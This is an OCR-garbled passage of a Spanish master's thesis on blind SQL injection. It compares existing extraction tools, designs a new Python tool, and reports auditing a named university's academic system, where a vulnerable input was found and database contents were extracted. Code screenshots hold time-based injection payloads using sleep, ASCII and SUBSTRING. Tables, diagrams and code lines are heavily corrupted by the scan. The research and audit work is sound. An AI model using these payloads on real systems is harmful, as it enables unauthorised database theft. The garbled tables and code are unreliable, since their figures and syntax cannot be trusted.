BBQSQL No Parcial SS NTB Probabili | URL+VI+ | Automa
Optimiz stica 8+ tico
ado
Squeeza No No, solo | Bita Bit | TB - URL+VI Manual
para
versione
S en
desuso
Havij No No, solo No - URL+VI | Manual
para
versione
s en
desuso
SQL No No, solo | BS NTB - URL+VI+ | Manual
Power para Nee+4+
Injector versione
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S en
desuso
BlindCanS | No Teodrico | BS Diccionar Sin
eeQL 2015 io lanzami
ento
oficial
Pangolin No No, solo | BS NTB URL+VI+ | Manual
para 2+
versione
S en
desuso
DarkMysql | No No, solo | BS NTB URL+VI+ | Manual
[ para Nee+1+
versione
S en
desuso
SQID - | No No No No URL+VI Manual
SQL
Injection
digger
Safe3 SQL | No No, solo | BS NTB URL+VI+ | Manual
Injector para Nee +1+
versione
S en
desuso
The Mole No Yes BS NTB URL+VI+ | Manual
Nee
V3n0m Si No No NTB, | No URL Automa
B tico
Shoryuken | No No No No URL+VI | Manual
- SQL
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Injection
Takeover
FJ-Injector | No No, solo | Bita bit | NTB URL+VI+ | Manual
Framewor para Nee
k versione

s en

desuso
ISR- No No No No Archivos | Manual
SQLGet Configur

acion

Priamos No No No No URL Manual
BSQLBF No No, solo | Bita bit | NTB URL+VI+ | Manual

para Nee

versione

s en

desuso

Fuente: Elaboracion propia

Con respecto al tiempo empleado por cada herramienta para la extraccion de informacion,
la tabla 21 resume la evaluacion realizada. Todas las herramientas listadas en la tabla
mencionada, extrajeron correctamente la informacidon, aunque solo SQLMAP es
compatible con los dos tipos de inyecciones SQL inferenciales: basados en tiempo y no

basados en tiempo.
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Tabla 21 Tiempo de evaluacion de las herramientas disponibles

Herramienta

Tiempo de evaluacién
de las herramientas al
riesgo de inyecciones
SQL inferenciales
basadas en tiempo

Tiempo de
evaluacion de las
herramientas al
riesgo de
inyecciones SQL
inferenciales no

basadas en tiempo

Absinthe

No compatible

5 minutos

Sqglmap

2 horas 14 minutos 26
segundos

1 minuto 39 segundos

BSQL Hacker

No compatible

2 minutos 3 segundos

Forcer

SQLBrute - SQL Injection Brute

1 hora 20 minutos 42

segundos

No compatible

The Mole

No compatible

1 minuto 24 segundos

Fuente: Elaboracion propia



5.Propuesta de una herramienta para la
evaluacion de inyecciones SQL
inferenciales

5.1 Analisis y disefio de la herramienta

En esta seccion, se incluyen las consideraciones realizadas para el analisis de la

aplicacion. Este se basa en la metodologia indicada.

5.1.1 Analisis de requerimientos

Con respecto a los requerimientos del sistema, se realizé este trabajo de investigacion
como fuente primaria de informacién. Por lo anterior, no se realizaron entrevistas a

personas externas.

. Requerimientos funcionales

En la tabla 22 se encuentran los requerimientos funcionales.

Tabla 22 Requerimientos Funcionales

Id | Requerimiento Categoria
R1 | Identificar automéaticamente las entradas del sitio web Identificacion
R2 | Identificar automaticamente el tipo de base de datos Identificacion

R3 | Identificar si la entrada es vulnerable a un ataque de inyecciones SQL | Identificacién

inferenciales

R4 | Extraer el metadata (nombre base de datos, tablas y columnas) de la base | Evaluacién

de datos
R5 | Extraer la informacién de la base de datos Evaluacion
R6 | Mostrar tiempos empleados en la extraccion Evaluacion

Fuente: Elaboracion propia
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Estos requerimientos fueron obtenidos a partir de la seccion 3y la seccién 4.3 del presente

documento.

. Requerimientos no funcionales

Con respecto a los requerimientos no funcionales, se determina la interfaz, seguridad,

comunicaciones y el lenguaje de programacion.

o Interfaz

Teniendo en cuenta la interfaz de las herramientas mas utilizadas, la

herramienta realizada sera stand-alone, en modo consola de comandos.

o Seguridad

La herramienta solicitada no tendra administracién de usuarios y no requerira
acceso por usuario y contrasefia al iniciar. Se debera realizar validacion a las
entradas con el fin de evitar superar el buffer definido. No se llevara control de

las auditorias realizadas ni los accesos hechos por parte de los usuarios.

o Comunicaciones

El software deberd comunicarse via http con el sitio web vulnerable. La
comunicacion del sitio web con la herramienta sera a través del cdigo HTML

producido, que no serd interpretado sino analizado por el software desarrollado.

o Portabilidad

La herramienta desarrollada debera funcionar en los sistemas operativos

Windows y Linux.

o Lenguaje de programacion

Para la definicion del lenguaje de programacion, se consulté el lenguaje de
programacion de las herramientas listadas en la seccion anterior. Con el

objetivo de determinar esta caracteristica, se revis6 la documentacion existente,
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los requisitos de instalacion y, en algunos casos, se aplico ingenieria inversa
sobre el ejecutable. El resultado de este analisis, se muestra en la tabla 23.
Usando la informacion de esta tabla y consultando los tiempos tomados por las
herramientas, documentado en la tabla 21, se determiné que las herramientas
gue extrajeron la informacion en menos tiempo fueron las desarrolladas en el
lenguaje de programacion Python. Por esta razén, se escoge este lenguaje de

programacion para realizar la nueva herramienta.

Tabla 23 Lenguaje de programacion utilizado por las herramientas analizadas

Herramienta | Lenguaje | Herramienta Lenguaje Herramienta | Lenguaje
Absinthe .NET SQLBrute - SQL | Python SQID - SQL | Ruby
Injection Brute Injection
Forcer digger
Marathon .NET SQLNinja Perl Safe3 SQL | No
Tool Injector identificable
SQLiX PERL BBQSQL Python The Mole Python
Acunetix 11 | .NET Squeeza Ruby V3n0Om Python
Trial
Sqglmap Python Havij .NET Shoryuken - | Linux bash
SQL
Injection
Takeover
Wapiti Python SQL Power | .NET FJ-Injector C++
Injector Framework
Paros Java BlindCanSeeQL | .NET ISR-SQLGet | Perl
Pixy Java Pangolin No Priamos .NET
identificable
BSQL .NET DarkMysqli Python BSQLBF Perl
Hacker

Fuente: Elaboracion propia
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5.1.2 Modelado del dominio

Con el objetivo de entender el dominio del sistema de informacién a desarrollar, el modelo
gue esté en la figura 15 indica los participantes en la evaluacién del riesgo de inyecciones
SQL inferenciales. Un auditor realiza su evaluacion sobre cada entrada del sistema con el

objetivo de extraer la informacion contenida en la base de datos.

Figura 15 Modelado de dominio

Auditor

+Evalia

R
Entrada +pertenece _| Web +Tiene Base de Datos

y
L i

+Almacena

W
Informacion

Fuente: Elaboracion propia

5.1.3 Casos de uso

Teniendo en cuenta que el uso del sistema de informacion serd la identificacion vy
evaluacion de los riesgos de inyecciones SQL, se realiza el diagrama de este caso de uso

en la figura 16.
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Figura 16 Diagrama de caso de uso

X

Auditor

Identificacion y Evaluacion

Auditar Pagina Web

Validar URL

£

«extend Obtener cédigo fuente

'
wincludes
'

Extraer las entradas

wincludes

Identificar entrada vulnerable

Seleccionar entrada vulnerable de la aplicacion

{«cextends «include»
Extraer base de datos R Identificar motor de base de datos

E« includes

Extraer metadata
iincludes

Fuente: Elaboracion propia

. Descripcion

En la figura 16, se puede ver la interaccién que tendra el usuario y las interacciones

internas entre los componentes implicados en la evaluacion del riesgo. En la tabla 24 esta

la descripcion de este de manera mas completa.
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Tabla 24 Descripcion caso de uso

Caso de uso

1

Nombre del caso de uso

Identificacion y evaluacién de inyecciones

SQL inferenciales

Actores Auditor de sistemas de informacién web

Descripcion Un auditor ingresa el sitio web al que desea
identificar y evaluar la presencia del riesgo
de inyecciones SQL inferenciales

Tipo Primario y esencial

Referencias cruzadas

Funciones R1, R2, R3, R4, R5, R6

Pre-Condicion

Se cuenta con conexibn a la URL

ingresada por el auditor.

Post-Condicion

La informaciéon de la base de datos es

extraida

Escenario principal

El auditor inicia la ejecucion e ingresa la
URL del sitio web que desea analizar. El
sistema valida la URL y si tiene conexion,
descarga el cadigo fuente de la pagina. A
partir del codigo fuente, extrae las entradas
de la pagina y realiza una bateria de
pruebas para saber si esa entrada es
vulnerable. Esta lista de entradas
vulnerables se muestra al usuario. Este
elige la entrada con la cual se evaluara el
riesgo. El sistema identifica el motor de la
base de datos, extrae su metadata y la

informacion, la cual es mostrada al usuario.

Escenario alternativo

El usuario decide no escoger una opcion
de la lista de entradas vulnerables y sale

de la ejecucion.

Fuente: Elaboracion propia
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5.1.4 Diagrama de actividades

Para establecer las actividades del Unico caso de uso que tiene el sistema de informacion,

se realiza el diagrama de actividades mostrado en la figura 17.

Figura 17 Diagrama de actividades

Validar la URL

Valida

Ingresar URL

| Establecer conexién}

\l’ Valid
<> . - lObtener cadigo fuente]

hitml

Mo se desea evaluar la entrada
[ Extraer metadata “I &, __l’E}-:traer las enlradas}

Se }:Ie sea evaluar la entrét\clg

Mo vulner trada
Estructurs base de datos Vulneraly
3 <> = l Ejecutar scripts de prueba}
Extraer informacién]

Mo valida

identificado

Fuente: Elaboracion propia

Con base a este diagrama de actividades, se procede a realizar el diagrama de clases.

5.1.5 Diagrama de clases

El diagrama de clases contiene una descripcion gréfica de la estructura interna de la

herramienta. Este diagrama se encuentra en la figura 18.
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Figura 18 Diagrama de clases

Base de datos
aqi +conecta
Pagina web +nombre
+entradas ~| +ipo
+motor
+compuesta
Columnas
Tablas +compuesta +nombre
- +tipo
nombre +longitud
+almacena
e
Dato
+valor
+fila

Fuente: Elaboracion propia

5.1.6 Diagrama de comunicaciones

Este diagrama de comunicaciones, muestra la relacion interna entre los componentes del
software. Se encuentra en la figura 19.

Figura 19 Diagrama de comunicaciones

Diagrama de comunicaciones SQLI inferenciales ) 2 - getHtmi(ur)

1 : evaluate(url)

. - .
Auditor Pagina web
[ Audior ] [ Peon

3: extractMe.1data(url,input]

-'J-le xtractData

| Base de datos D

Fuente: Elaboracion propia
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5.1.7 Diagrama de secuencia

El diagrama de secuencia muestra la interaccion interna entre los componentes y
participantes de la evaluacién del riesgo en cuestion. Este diagrama se muestra en la figura
20.

Figura 20 Diagrama de secuencia

‘Diagrama de secuencia identificacion y evaluacion SQLi inferenciales )

Auditor Sistema Pagina Web Motor de base de datos

1:iniciar

il

|_|" 2 - Solicitar URL

3 : Ingresa URL

4 - conexion I
' |_|" 5 - codigo html :
: 6 - Inyeccion

7:5QL

I:r § : comportamiento esperado

T 9 html ;
' Se conoce el
' tipo de motor
|:|10 - enfradas vulnerables . ;

11: entrada elegida

A J

CiC|C:-‘ 12 inyeccion
T 13:5QL .I:I
Ll-' 14 : comportaniento esperado i
i Ij‘ 15 - codigo himl 5 .’ ;
: ; : Extraccion del
' Inferir la : metadata y la :
respuesta de informacion
del motor

I:I‘ 16 : Datos extraidos

Fuente: Elaboracion propia
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5.1.8 Diagrama de estados

En este diagrama, solo se seleccion6 el componente del sistema que puede tener estados
diferentes. Este componente es la pagina web, la cual puede estar en linea, vulnerable o

no vulnerable. Este componente se encuentra en la figura 21.

Figura 21 Diagrama de estados

Pagina web

Abrir URL

En linea

|dentifigar entradas

Vulnerable

Fuente: Elaboracion propia

Mo vulnerable

5.1.9 Diagrama de componentes

El diagrama de componentes permite observar la conectividad de los componentes del

sistema. Se encuentra en la figura 22.
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Figura 22 Diagrama de componentes

Stand Alone . Conexion Http
+main

:.+I1|:tp
W

E Pagina web +th __}g Base de datos

Fuente: Elaboracion propia

5.1.10 Diagrama de despliegue

Este diagrama demuestra el despliegue fisico del sistema de informacién. De acuerdo con
los requerimientos establecidos, solo se requiere un computador conectado a la red para

usar el sistema. Este diagrama se encuentra en la figura 23.

Figura 23 Diagrama de despliegue

Servidor a auditar

+hitp Servidor Web
Computador| [r=========semraspemnnead > % ervidor Te

+chnexidn

v

% Servidor base de datos

Fuente: Elaboracion propia



Andlisis y comparacion de las herramientas para la evaluacion de inyecciones 97

SQL inferenciales

5.1.11 Disefio del algoritmo principal

De acuerdo con el andlisis realizado en el capitulo 4, el algoritmo bit a bit puede llegar a

ser el mas eficiente si se cumplen con las condiciones establecidas en dicha seccion.

Para esto, se determin6 el nimero 256 como cantidad de caracteres UNICODE maxima
debido a que toman todos los caracteres usados en los idiomas inglés y espafol. Con este
pardmetro, la tabla 25 muestra los criterios especificos del retraso de tiempo para la

construccion de la herramienta.

Tabla 25 Valores A especificos para 256 valores UNICODE

Valores A Secuencial Binario Bit a bit
<306 3 2 1

> 306 2 3 1

< 356

> 308y = 356 1 3 2

Fuente: Elaboracion propia

Tomando en cuenta lo anterior, se eligio el algoritmo bit a bit con un valor de retraso de

tiempo de 30 veces el tiempo de carga de la pagina.

5.2 Implementacion

5.2.1 Algoritmo principal

De acuerdo con el andlisis y disefio, se procedi6 a implementar el algoritmo principal de

extraccion en la herramienta. Este algoritmo se encuentra en la figura 24.
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Figura 24 Algoritmo bit a bit implementado en la herramienta

[& c\Users\Windows 10\Desktop!Tool\taol.py - Notepad++ - O X
Archive Editar Buscar Vista Codificacion Lenguaje Configuracion Herramientas Macro  Ejecutar  Plugins  Ventana 7 X
Py s s & | o2 |t g | @ & | BB = FEpEilpa®|® ]

= tool py ml

1 L return stri -

112 Fldef timeBasedSeqgBitbybitSearch(page,secs,tablename,fieldname,fieldsize,fieldid,id):
113 start = time.time()

114 chars = [123,64,32,16,8,4,2,1]
115 stri = ""

116 = for pos in range(l,fieldsize):
117 value = ""

for i in range (0 le‘mtc’mars}}

118 pavload = "1/**/and/ /
" =/ % /m4fieldidd " ="+str (id)+"/ 0

e"+str({chars[i])+"="+str(chars[i])}+")"

120 E if :test'rlrrel'mjectlo'm (page,variable,secs,payload)):

m/ **/"+tablename+
("+fieldname+", "+str (pos)+

-
value += "1"
else:
value += "O"
4 stri 4= chr(int(values,l))
= end = time.time ()
126 duration = end-start

12 print (str{duration)+" =s=c=")

128 #cn = 2n + 5n*logZlA + n logZR*D

12 # Cn = Z*fieldsize + 5*fieldsize*E + fieldsize*8*rt + fieldsize*EB*secs

1 # a = (end-start)/Cn

131 #print (a)

132 print ("Time Based Seqguential Bit By Bit Search: "+fieldid+"="+str(id)+":"+stri)

1 - return stri

135 w
Python file length : 4,558  lines: 170 Ln:97 Col:201 Sel:0|0 Windows (CRLF)  UTF-8 INS

Fuente: Elaboracion propia

5.2.2 Optimizacion

Ademés de implementar el algoritmo, este se optimiza usando hilos de multiprocesamiento

para cada campo de la base de datos.
La estrategia desarrollada fue la siguiente:

1. Establecer la estructura interna de la base de datos.

2. Para cada bit a extraer, de manera paralela se inicia un hilo por cada registro de la
tabla. Alli, se ejecuta el algoritmo bit a bit, con un valor de tiempo igual a 30 veces
el tiempo de cargue normal del entorno web.

3. Se muestran los resultados, calculando el tiempo empleado.
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En la figura 25 se encuentra la optimizacion elegida para el algoritmo.

Figura 25 Optimizacién del algoritmo bit a bit en la herramienta desarrollada

[ GAMi unidadhPapers\Toolblind.py - Notepad-++ - o x
Archive Editar Buscar Vista Codiicacion Lengugje Configuracién Heramientes Macro Ejecutar Blugins Ventana 2 X
PR = T & | | g 2% BE| ST ERERa®|@® |
Hbindoy & |
53 O def threadTimeBasedSegBitbybitSearch(this,patternToExtract,stringToExtract,pos,bit): ~
4 polarity = Constant.probability[bit]
5 inverse = Constant.probabilityInverse[bit]
6 vpow = str(math.floor (math.pow(2,bit)))
i fpatternToExtract = "1/**/and/**/ (select/**/slesp (<%SECS%>)/**/WHERE/**/NOT (<3BIT%>=ASCTT (SUBSTRING ( (<%STRINGS>) , <%20:

pavload=patternToExtract.rsplacs (Constant.SECS,payload)

0 if (polarity — "1"):
1 payload = "1/**/and/**/ (select/**/slecp ("+str (Constant.SECS)+") /**/Wk * /NOT ("+vpow+"=ASCII (SUE G ( ("+strin
62 else:
3 payload = "1/**/and/**/ (select/**/slecp ("+str (Constant.SECS)+") /**/Wk */ ("+vpow+"=ASCII (SUBSTRING ( ("+stringTol
value = ""
if (this.testTimeInjsction (payload)):
value = inverse
7 else:

value = polarity
this.valueThread—this.valueThread[:bit]+valus+this.valusThread[bit+1:]

for pos in rangs(l,sizetl):
this.valusThread = "

i=0
for i in range(0,8):
threading.Thread (target=this.threadTimeBasedSeqBitbybitSearch, args=(stringTolength,stringToExtract,pos,i

1 time.sleep (0.05)
2 while " " in this.valueThread:
time.sleep(0.05)

char = chr(int (this.valueThrsad[::-1],2))
Constant.printWithoutSpace (char)
stri += char

print("")

return stri

< >

Pythen file length: 10.209 lines: 238 Ln:60 Col:29 Sel: 0|0 Windows (CRLF)  UTF-8 INS

Fuente: Elaboracion propia

5.2.3 Ejecucion

En las figuras 26, 27 y 28 se puede observar el funcionamiento de la herramienta
desarrollada. De acuerdo con el analisis realizado y la interface a la que los auditores estan
acostumbrados, se puede observar que la herramienta es un programa stand-alone por

consola de comandos (figura 26).
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Figura 26 Inicio aplicacion desarrollada

[

CAWINDOWS\py.exe — O X
Enter URL webpage:

Fuente: Elaboracion propia

Para su ejecucién, esta herramienta solo solicita la URL de la pagina a auditar y cuando
encuentra una entrada vulnerable, pide confirmacion sobre si se desea extraer la

informacién de la base de datos a través de esa entrada (figura 27).

Figura 27 Confirmacion de extraccion por parte del usuario

Fuente: Elaboracion propia
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Cuando el auditor confirma, la herramienta procede a calcular el valor de la pausa, de
acuerdo al tiempo de carga de la pagina. A continuacién, extrae el metadata de la base de
datos y la informacion almacenada (Figura 28).

Figura 28 Extraccion de informacion con la herramienta desarrollada

Bl C:\WINDOWS\system32\cmd.exe - python blind.py — [m} b'e

1.php

n number 1

n number 2

n number 3

n number 4

n number 5

Fuente: Elaboracion propia

5.3 Validacion

5.3.1 Validacién en entorno de pruebas

Antes de realizar la validacion en un entorno real, primero se realizé la misma comparacion
hecha sobre las herramientas existentes que se usé para determinar cual era la mas

eficiente de las disponibles actualmente.

Al ejecutar la herramienta, los tiempos obtenidos fueron de 1 hora, 3 minutos y 40
segundos para el caso de las inyecciones inferenciales basadas en tiempo y de 1 minuto
y 10 segundos para el caso de las no basadas en tiempo. Para facilitar la comparacion, la
tabla 26 muestra los tiempos de todas las herramientas analizadas y el tiempo de la
herramienta desarrollada. Puede notarse que se redujo el tiempo sobre las herramientas

existentes.
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Tabla 26 Tiempos de ejecucién de las herramientas incluyendo la desarrollada

Herramienta

Tiempos de evaluacién
del riesgo de
inyecciones SQL
inferenciales basadas

en tiempo

Tiempos de
evaluacion del
riesgo de

inyecciones SQL
inferenciales NO

basadas en tiempo

Herramienta desarrollada

1 hora 03 minutos 40

1 minuto 10 segundos

segundos

segundos
Absinthe No compatible 5 minutos
Sqglmap 2 horas 14 minutos 26 | 1 minuto 39 segundos

BSQL Hacker

No compatible

2 minutos 3 segundos

Forcer

SQLBrute - SQL Injection Brute

1 hora 20 minutos 42

segundos

No compatible

The Mole

No compatible

1 minuto 24 segundos

Fuente: Elaboracion propia

5.3.2 Validacién en un entorno real

u Planeacion de la auditoria

Para la validacion de la herramienta, se usé el sistema de informaciéon académico de la

Universidad Nacional de Colombia Sede Manizales. Con el fin de desarrollar la auditoria

gue permitid validar la herramienta, se definié el programa de auditoria mostrado en la

tabla 28, basado en las recomendaciones dadas por la Asociacion de Control y Auditoria
de Sistemas de Informacion (ISACA, 2016).
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Tabla 27 Paso a paso del programa de auditoria planeado

Paso a paso del programa de auditoria/aseguramiento

Planeacion y Alcance de la Auditoria

Definir los objetivos de la auditoria/aseguramiento.

Definir y revisar los objetivos de auditoria/aseguramiento

Definir los limites de la revision
La revision debe tener definido un alcance. Entender los procesos CORE del negocio y

su alineamiento con T.1.

Obtener una descripcién de toda la utilidad del sistema de informacién a analizar.

Obtener una descripcién de toda la infraestructura que soporta el sistema de

informacion.

Identificar los usuarios del Sistema de informacién .

Obtener y revisar cualquier reporte previo de auditoria con planes de mitigacion.
Identificar observaciones abiertas y las evidencias actualizadas respecto a dichas

observaciones.

Identificar y documentar el riesgo de inyecciones SQL.

Realizar la evaluacion del riesgo de inyecciones SQL sobre el sistema de informacion.

Identificar puntos de entrada del Sistema de informacién. Estos puntos de entrada son
aguellos campos en donde un usuario puede ingresar informacion. También, todos los
pardmetros internos de la aplicacion que se envian de un formulario a otro, sean

visibles en la interfaz grafica o no.

Ejecutar la herramienta desarrollada en esta tesis de maestria indicando la URL del

entorno web y el punto de entrada a auditar.

B C\Windows\System32\cmd.exe

C:\Users\Windows 1@\Desktop\Experimento>C:\Python27\python.exe tool.py http://urllentrada=1_

Asi:
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Revisar la respuesta de la herramienta sobre la presencia del riesgo de inyecciones
SQL.
Identificar si la organizacién ya ha identificado los puntos de entrada a la aplicacién con

la presencia del riesgo de inyecciones SQL.

Evaluar la eficacia de los planes de tratamiento dados a cada punto de entrada usando

la herramienta desarrollada.

BR C\Windows\System32\cmd.exe — 0 %

Identificar si la valoracién del riesgo dada por la organizacién corresponde a la

criticidad identificada.

Discutir el riesgo con la administracion del Sistema de informacion .

Realizar la documentacion de la auditoria
Documentar hallazgo y observaciones de la auditoria.
Entregar la informacion resultante de la identificacién y evaluacion del riesgo de

inyecciones SQL.

Fuente: Elaboracion propia

En la figura 29, se encuentra la pagina principal de este sistema de informacién, el cual
esta desarrollado sobre el servidor web apache Tomcat y con base de datos ORACLE. Por
seguridad de la Universidad, no se detallara mas informacion sobre este sistema de

informacioén, ni su servidor ni su infraestructura.
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Figura 29 Sistema de Informacion Académico - UNAL Manizales
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Si no cumple ningln caso anterior por favor
seleccione el servicio que desea consultar

r
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estudiantiles, validaciones y
ceremonias de grado para el
20188#13;

+03 de enero 2013
[} Calendario académico
------- detallado, solicitudes

» programas posgrado

documentacid

»programas pregrade
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sede manizales

Encuesta de Percepcion
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N . Digitales
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Fuente: Elaboracion propia
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. Realizacion del programa de auditoria

Siguiendo el programa de auditoria realizado, se inicié con la definicion de los objetivos de

la auditoria:

1.1 Objetivo de Auditoria: Realizar un diagnéstico sobre la presencia del riesgo de
inyecciones SQL en el sistema de informacion académico de la Universidad Nacional Sede

Manizales.

1.2 Alcance de la Auditoria: Esta auditoria se limita al sistema de informacién académico
de la Universidad Nacional Sede Manizales. Igualmente, sobre dicho sistema, solo se
tendran en cuenta las entradas de la aplicacion que no requieran autenticacion. Las URL

a analizar seran las siguientes:
http://sia.manizales.unal.edu.co y http://sia.manizales.unal.edu.co/FORE

1.2.1 Utilidad del Sistema de informacion: El sistema de informacién académico de la
Universidad Nacional sede Manizales perfila a sus usuarios de acuerdo a su vinculacién
con la Universidad. Asi, a los estudiantes, les permite consultar su historia académica,
ademas, inscribir asignaturas, verificar sus notas y realizar transacciones de acuerdo a

funciones establecidas.

1.2.2 Infraestructura del Sistema de Informacion: La infraestructura del Sistema de

Informacion Académico se mantiene confidencial por razones de seguridad.

1.2.3 Usuarios del sistema de informacion: Los usuarios del sistema de informacion son

los estudiantes de la Universidad Nacional Sede Manizales y sus docentes.

1.2.4 Informes previos de auditoria: Se analiza informe previo realizado por la contraloria.

Todos los hallazgos que lo ameritaban, tienen planes de accién cerrados.
1.3 Serealiza la evaluacién sobre la infraestructura del Sistema de Informaciéon Académico.

1.3.1 Puntos de Entrada del Sistema de Informacion.
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URL: http://sia.manizales.unal.edu.co

<input class="campoLogin" id="nombre" name="nombre" size="15" type="text">
<input class="campoLogin" id="password" name="password" size="15" type="password">

<input class="btn" id="btn_inicio" onmouseout="this.id="btn_inicio";

onmouseover="this.id="btn_inicio2";" type="submit" value="iniciar sesion">

URL: http://sia.manizales.unal.edu.co/FORE

<input class="campoLogin" id="nombre" name="nombre" size="15" type="text">

<input class="campoLogin" id="password" name="password" size="15" type="password">

<input class="btn" id="btn_inicio" onmouseout="this.id="btn_inicio";

onmouseover="this.id="btn_inicio2";" type="submit" value="iniciar sesion">

<input value="015779202118420744272:gk5u5rpebla” type="hidden" name="cx">

<input value="FORID:11" type="hidden" name="cof">

<input class="field" size="15" name="q">

<input name="submit" type="image" value="Buscar" src="/FORE/images/buscargo.gif" alt="go"

align="top">

<input id="uQ5Qe" class="z-textbox" value="" type="text">

<input id="uQ5Qh" class="z-textbox" value="" type="password">

<input id="uQ5Q20" class="z-textbox" value="" type="text">

1.3.2 Para cada entrada anterior, se debe ejecutar la herramienta desarrollada en esta

tesis de maestria, asi como se muestra en la figura 30.


http://sia.manizales.unal.edu.co/
http://sia.manizales.unal.edu.co/FORE
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Figura 30 Ejecucion paso de auditoria 1.3.2

Bl C:\Windows\System32\cmd.exe — m] b

Fuente: Elaboracion propia

1.3.3 Para cada salida de la herramienta, se analiz6 el resultado mostrado para identificar

la presencia del riesgo de inyecciones SQL.
Se identific6 una entrada con la presencia del riesgo de inyecciones SQL.

1.3.4 Se consult6 la matriz de riesgos del sistema de informacion, encontrando que no

existe en dicha matriz ningun riesgo relativo a las inyecciones SQL.
1.3.5 No aplica. No existen planes de tratamiento.
1.3.6 No aplica, no se ha valorado el riesgo.

1.3.7 Se notifica a la Universidad sobre la presencia de este riesgo en el sistema de
informacion académico. Segun lo indicado, este riesgo desaparecera debido a que el sitio

web en cuestion se migrara a otro sistema. Toman nota sobre la ubicacion de este riesgo.

1.3.8 Se entrega a la Universidad, la documentacion correspondiente a este riesgo. No se

anexa en este trabajo debido a la criticidad del riesgo en cuestion.
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= Resultado

En una de estas entradas, la herramienta encontré la presencia del riesgo de inyecciones
SQL. A través de esta vulnerabilidad, se extrajo la informacién de contenida en la base de
datos ORACLE a través de las herramientas analizadas. En la tabla 28, se encuentra un
resumen de los tiempos tomados en la evaluacién. Es necesario mencionar informacion
mas detallada de este proceso solo se entregara a las personas encargadas dentro de la

organizacion.

Tabla 28 Tiempos de evaluacion del entorno real analizado

Herramienta Tiempos de la extraccién de informacion
sobre el riesgo de inyecciones SQL
inferenciales no basadas en tiempo del

entorno real analizado

Herramienta desarrollada 4 minuto 10 segundos
Absinthe 15 minutos

Sqglmap 7 minuto 30 segundos

BSQL Hacker 5 minutos 3 segundos
SQLBrute - SQL Injection Brute | 1 hora 31 minutos 24 segundos
Forcer

The Mole 4 minuto 50 segundos

Fuente: Elaboracion propia



6.Analisis de resultados, conclusiones y
recomendaciones

6.1 Analisis de resultados

En la seccién 3 del presente trabajo de investigacién, se analizaron los algoritmos de
extraccion de acuerdo a cada tipo de inyeccion SQL inferencial, como parte del primer

objetivo especifico de este trabajo.

Las pruebas de penetracion sobre las inyecciones inferenciales no basados en tiempo son
entre 10y 2 mil veces mas eficientes que las basadas en tiempo. Por lo tanto, en el proceso
de evaluacion de las entradas vulnerables de un ambiente web es preferible realizar la
extraccién de informacion usando la vulnerabilidad no basada en tiempo. El realizar este
proceso sobre las basadas en tiempo debe ser la Ultima opcion a considerar por parte del

auditor.

Para modificar la consulta SQL original, pueden usarse 3 tipos de condicionales, los cuales
no tienen una incidencia significativa en el tiempo de extraccion y su uso es determinado
por la compatibilidad que tenga con el motor de base de datos sobre el cual funciona el

ambiente web.

Enlatabla 12, se encuentra un resumen de los tiempos de ejecucion matematicos de cada
herramienta. Se nota que la diferencia de los tiempos entre las inyecciones basadas en
tiempo y no basadas en tiempo radica en el parametro A, el cual es el retraso de tiempo

inyectado. Si este se hace igual a cero (A=0), los tiempos de ejecucion seran iguales. Sin
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embargo, esta condicion nunca se cumplird debido a que el tiempo inyectado debe ser
mayor al tiempo del retraso de la red y este ultimo valor siempre ser4 mayor a 0. Por lo
tanto, matematicamente se comprob6 que la extraccion de informacién a través de una
entrada vulnerable a inyecciones SQL inferenciales no basadas en tiempo siempre sera

mas eficiente.

Al comparar los tiempos de ejecucion, se determind que el algoritmo bit a bit es el mas
eficiente en todos los casos excepto cuando se escogen valores de inyeccion altos, lo cual
esta determinado a través de una formula matemética resumida en la tabla 13. Esto pudo
comprobarse a través del trabajo empirico realizado, durante el cual se colocaron los
algoritmos con diferentes parametros y en los cuales se comprobé lo hallado de manera
tedrica. Para realizar este trabajo empirico fue necesario calcular el tiempo de respuesta
del ambiente web a analizar. Este valor es siempre diferente y depende de los tiempos de
respuesta de la red, los tiempos del servidor web, la concurrencia y muchos otros factores
gue impiden definir un valor Unico. Se establecieron tres maneras para el calculo de este
valor. Una manera es realizar un llamado a la pagina web previo a cada inyeccion y usar
el tiempo tomado en este para calcular el tiempo a inyectar. La otra manera fue realizar un
namero alto de llamados al sitio web y usar el peor tiempo recibido. Con estas dos
maneras, el tiempo de extraccion no fue eficiente. La Ultima forma consiste en hacer un
namero alto de peticiones y tomar el valor promedio. Esta opcién es la mas 6ptima en

términos del costo/beneficio, ya que los tiempos de extraccidon se mantuvieron estables.

En este trabajo, se defini6 el indice de precisién del algoritmo, el cual permite establecer
la cota inferior del tiempo a inyectar. A valores mas bajos, peor es el indice de precision.
De acuerdo con el estudio realizado, los valores 6ptimos para inyectar deben ser mayores
a 16 veces el retraso de la red (tabla 17) con el fin de reducir falsos positivos en la
extraccién. Ademds, se establecieron 3 optimizaciones comunes: probabilidad de
ocurrencia, uso de diccionarios y el uso de hilos. Estas optimizaciones pueden convivir
juntas en una misma implementacion, lo que permite agilizar la extraccion de la

informacion.
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Como parte del primer objetivo especifico, en la seccion 4, se analizaron 27 herramientas
de auditoria disponibles o documentadas en la literatura cientifica para la evaluacion del
riesgo estudiado y se realiz6 una comparacion exhaustiva de cada una de ellas.

Después del analisis realizado, es notable la falta de soporte a las herramientas actuales:
solo 3 de las 27 herramientas analizadas cuentan con este. La falta de soporte activo,
ocasiona que las herramientas no sean compatibles con las ultimas versiones de los
motores bases de datos. Durante los afios 2004 a 2007, se crearon el 77.7% de las
herramientas analizadas. Esto se debe a que, durante esas fechas, no existia una
herramienta estable para la evaluacién del riesgo. Durante los ultimos afios, la herramienta
SQLMAP es la Unica de esa época con soporte actual y con un periodo de madurez de
mas de una década. Esta herramienta se incluye en las versiones de Linux especializadas
en pruebas de penetracion y esto probablemente explica que las otras herramientas

guedaran en desuso y sin soporte.

Con respecto a la compatibilidad de las herramientas, la base de datos mas comun para
el desarrollo de las auditorias es el motor de base de datos Microsoft SQL Server, seguido
por MySQL y Oracle. Esto aumenta la facilidad para explotar la vulnerabilidad de
inyecciones SQL sobre dichos motores, haciendo mas critico la mitigacion del riesgo en

los ambientes web que los utilizan.

Solo cuatro herramientas analizan las entradas del sitio web identificando las que son
vulnerables a una inyeccion SQL. Esta funcionalidad es muy util para un auditor, ya que
simplifica el trabajo de detectar la presencia de este riesgo. Si se toma el riesgo de
inyecciones SQL inferenciales, solo tres (Acunetix, Wapiti y V3nOm) detectaron las
entradas vulnerables lo cual pone de manifiesto la dificultad que tiene este subtipo de
inyecciones para identificar y mitigar. Sin embargo, de estas tres herramientas, ninguna

realiza una evaluacion completa del riesgo (Acunetix no lo incluye en la version libre).

